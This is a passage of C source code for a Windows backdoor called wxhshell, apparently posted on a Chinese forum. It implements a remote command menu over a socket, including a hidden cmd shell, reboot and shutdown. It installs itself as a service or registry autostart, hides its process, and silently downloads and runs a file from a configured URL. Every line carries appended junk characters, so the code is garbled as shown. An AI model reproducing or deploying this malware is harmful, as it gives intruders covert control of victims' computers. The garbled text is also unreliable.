  // 帮助 NO^t/(Z  
  case '?': { J"rwWIxO*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  uN 62>  
    break; ?<'W~Rm6n  
  } % eRwH >  
  // 安装 29^bMau)v  
  case 'i': { &|'6-wD.  
    if(Install()) a7\L-T+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XB-|gPk  
    else j*4S]!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `uA&w}(G  
    break; Nh9!lBm*]  
    } ]ECZU   
  // 卸载 e0HP~&BRs  
  case 'r': { %}X MhWn{  
    if(Uninstall()) }dJ ~Iy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 -;ZPhN&  
    else 3gy;$}Lq T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HDyZzjgG  
    break; 03WRj+w  
    } q&Wwt qc9  
  // 显示 wxhshell 所在路径 !h>$bm  
  case 'p': { [!? ,TGM}^  
    char svExeFile[MAX_PATH]; -/c1qLdQ  
    strcpy(svExeFile,"\n\r"); j#P4Le[t  
      strcat(svExeFile,ExeFile); tcEf ~|3  
        send(wsh,svExeFile,strlen(svExeFile),0); lO> 7`2x=F  
    break; HF+fk*_Q  
    } ' u};z:t  
  // 重启 sDm},=X}  
  case 'b': { o%PoSZZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z4ov  
    if(Boot(REBOOT)) So%1RY{ )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G@EjWZQ  
    else { sFCs_u1tNN  
    closesocket(wsh); j :Jdwf  
    ExitThread(0); !a(qqZ|s  
    } 0Y*gJ!a  
    break; {mnSTL`  
    } BON""yIC   
  // 关机 !9LAXM  
  case 'd': { Y~hd<8 ~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -^Km}9g  
    if(Boot(SHUTDOWN)) Z?c=t-yqp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8pkejg  
    else { s*/ G- lY  
    closesocket(wsh); `Mn{bd  
    ExitThread(0); NvHy'  
    } s k6|_  
    break; ,tF" 4|#  
    } Bj($_2M%+  
  // 获取shell u|>U`[Zpj  
  case 's': { nQ!#G(_nO  
    CmdShell(wsh); MQH8Q$5D  
    closesocket(wsh); O\F^@;] F6  
    ExitThread(0); *Gh8nQbh  
    break; ajW$d!  
  } k>;r9^D  
  // 退出 i -s?"Fk  
  case 'x': { W<N QU f[=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'A(-MTd%  
    CloseIt(wsh); \ Q8q9|g?]  
    break; p z+}7  
    } 4i\aW:_'i  
  // 离开 }:l%,DBw  
  case 'q': { 5YG@[ic  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $4*E\G8  
    closesocket(wsh); C+]q  
    WSACleanup(); x*"pDI0k)  
    exit(1); Oj lB 0  
    break; K^& ]xFW  
        } .'{6u;8  
  }  !QW 0  
  } GlgORy=>  
+JAfHQm-  
  // 提示信息 V<NsmC=g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b:5%}  
} [xs)u3b  
  } }Oh'YX#[  
(:bCOEZ  
  return; *ez~~ Y  
} (=tF2YBV  
> <  _Z  
// shell模块句柄 tTh;.88Z{  
int CmdShell(SOCKET sock) 0CVsDVA  
{  z0Z\d  
STARTUPINFO si; 7- 3N  
ZeroMemory(&si,sizeof(si)); ocA'goI-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z'} =A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c;8"vJ  
PROCESS_INFORMATION ProcessInfo; -f;j1bQ  
char cmdline[]="cmd"; 5nM9!A\D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sa gBmA~  
  return 0; s?;<F  
} # pjyhH@  
ic{.#R.BY  
// 自身启动模式 &0 )xvZ  
int StartFromService(void) ZJI1NCBZ  
{ )av'u.]%c  
typedef struct JU=\]E@8c  
{ C(1A8  
  DWORD ExitStatus; MHr0CYyb.  
  DWORD PebBaseAddress; XG\a-dq[  
  DWORD AffinityMask; Vh.;p.!e  
  DWORD BasePriority; Wh'_ slDH+  
  ULONG UniqueProcessId; ;GgQ@s@  
  ULONG InheritedFromUniqueProcessId; 2*FWIHyf  
}   PROCESS_BASIC_INFORMATION; D.&eM4MZ  
gQpD]p%k  
PROCNTQSIP NtQueryInformationProcess; mA] 84zO  
+?5Uy*$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z1SMQLk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oB{}-[G  
"J[i=~(  
  HANDLE             hProcess; : ` 6$/DK  
  PROCESS_BASIC_INFORMATION pbi; 400Tw`AiJ  
eYD9#y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wp]7Lx?F  
  if(NULL == hInst ) return 0; @F(3*5c_Y  
=y-!k)t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9>[.=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j#nO6\&o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?4,*RCaI  
Ubw!/|mi  
  if (!NtQueryInformationProcess) return 0; 3e!Yu.q:  
&DbGyV8d"|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0q>NE <L  
  if(!hProcess) return 0; $kD`$L@U  
dj y:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MNf@HG  
rm)SfT<  
  CloseHandle(hProcess); JX\T {\m#  
 10l1a4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H6PXx  
if(hProcess==NULL) return 0; !AD0 -fZ  
TA@tRGP>  
HMODULE hMod; /VmCN]2AZ  
char procName[255]; H?=pWB  
unsigned long cbNeeded; '[=yfh   
srChY&h?<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ll<9f)  
z7t'6Fy9'  
  CloseHandle(hProcess); ;oY(I7  
s7UhC.>'@  
if(strstr(procName,"services")) return 1; // 以服务启动 L`HH);Ozw  
BudWbZ5>Ep  
  return 0; // 注册表启动 we H@S  
} T) Zt'M  
mS w?2ba  
// 主模块 An8%7xa7  
int StartWxhshell(LPSTR lpCmdLine) =ve*g&  
{ \\2k}TsB  
  SOCKET wsl; {sna)v$;  
BOOL val=TRUE; y[^k*,= 9  
  int port=0; ]4 K1%ZV  
  struct sockaddr_in door; .n)!ZN  
az \<sWb#  
  if(wscfg.ws_autoins) Install(); S-M)MCL  
!}L~@[v,uL  
port=atoi(lpCmdLine); aX[1H6&=7  
x '=3&vc4  
if(port<=0) port=wscfg.ws_port; $xUzFLh=`  
#A|D\IhF  
  WSADATA data; L)R[)$2(g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~3'OiIw1@  
dxkRk#mf:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e$ XY\{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4(Cd  
  door.sin_family = AF_INET; B \_d5WJ<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hn#GS9d_?  
  door.sin_port = htons(port); "J8;4p  
OZ>)sL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _[$T29:8\]  
closesocket(wsl); dK J@{d  
return 1; t> x-1vf%  
} =$)4:  
!Ig|m+  
  if(listen(wsl,2) == INVALID_SOCKET) { ##EB; Y  
closesocket(wsl); v ]/OAH6D  
return 1; )y%jLiQv  
} ]< s\V-y  
  Wxhshell(wsl); R%Ui6dCLo  
  WSACleanup(); V>FT~k_"  
d4y9AE@k  
return 0; JGk3 b=K  
?u_gXz;A  
} #K :-Bys5v  
$S6HZG:N  
// 以NT服务方式启动 X6LhM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wQD0 vsD  
{ 9lZAa8Rxi  
DWORD   status = 0; nOAJ9  
  DWORD   specificError = 0xfffffff; <THZ2`tTK3  
d}{LM!s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7xv4E<r2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,]PyDq6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i}/e}s<-6  
  serviceStatus.dwWin32ExitCode     = 0; {) :%Wn M9  
  serviceStatus.dwServiceSpecificExitCode = 0; #gW /qJ  
  serviceStatus.dwCheckPoint       = 0; b)on A|  
  serviceStatus.dwWaitHint       = 0; _KB{J7bs<a  
JQKC ;p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ow cVPu_  
  if (hServiceStatusHandle==0) return; '%zN  
D00G1:Ft(T  
status = GetLastError(); ^wx%CdFm'P  
  if (status!=NO_ERROR) r/NSD$-n  
{ [x2JFS#4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^CZCZ,v  
    serviceStatus.dwCheckPoint       = 0; @uI?  
    serviceStatus.dwWaitHint       = 0; f7XQ~b  
    serviceStatus.dwWin32ExitCode     = status; &a%WM   
    serviceStatus.dwServiceSpecificExitCode = specificError; gk!E$NyE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jv_.itc  
    return; prNhn:j  
  } IVI~1~  
./'~];&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FAQr~G}  
  serviceStatus.dwCheckPoint       = 0; .]W ;2G  
  serviceStatus.dwWaitHint       = 0; ]pW86L%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '|vD/Qf=&  
} Tub1S v>J  
"w}-?:# j  
// 处理NT服务事件,比如:启动、停止 f4]N0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "z rA``  
{ E,{GU  
switch(fdwControl) {>8Pl2J  
{ z%(Fo2)^  
case SERVICE_CONTROL_STOP: Y/. AUN Z  
  serviceStatus.dwWin32ExitCode = 0; &+mV7o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V ]79vC  
  serviceStatus.dwCheckPoint   = 0; aWyUu/g<A`  
  serviceStatus.dwWaitHint     = 0;  !M  
  { Ye9Y^+-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x(L(l=^"  
  } , N53Iic  
  return; &4,WG  
case SERVICE_CONTROL_PAUSE: |u@+`4o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OF c\fW#  
  break; ojHhT\M`  
case SERVICE_CONTROL_CONTINUE: !Y ( apVQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t#C,VwMe[  
  break; >\V6+$cNp  
case SERVICE_CONTROL_INTERROGATE: ]UDd :2yt  
  break; q[7CPE0n  
}; f}^I=pS&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \+-zRR0  
} +'%@!  
5L8&/EN9-  
// 标准应用程序主函数 ^:`oP"%-T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sLb8*fak  
{ cAD[3b[Gk  
N_UQ  
// 获取操作系统版本 9YB2 e84j  
OsIsNt=GetOsVer(); (+* ][|T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9A~>`.y  
QV7,G9  
  // 从命令行安装 cv}aS_`f  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^YGTh0$W  
P?kx  
  // 下载执行文件 -<_QF82  
if(wscfg.ws_downexe) { !O|ql6^;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ebqg"tPN{  
  WinExec(wscfg.ws_filenam,SW_HIDE); X0`j-*,FX  
} m6^ 5S  
j&5G\6:  
if(!OsIsNt) { >c<pDNt?  
// 如果时win9x,隐藏进程并且设置为注册表启动 +R!zs  
HideProc(); ~g6"'Cya?k  
StartWxhshell(lpCmdLine); 7paUpQit  
}  EIr@g  
else _a](V6  
  if(StartFromService()) OTj,O77k  
  // 以服务方式启动 ._?V%/  
  StartServiceCtrlDispatcher(DispatchTable); %SAw;ZtQ:  
else IV'p~t  
  // 普通方式启动 c!It ^*  
  StartWxhshell(lpCmdLine); YTK^ijmU6x  
qj&b o  
return 0; .2 0V 3  
}
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只看该作者 1 发表于: 2006-10-10
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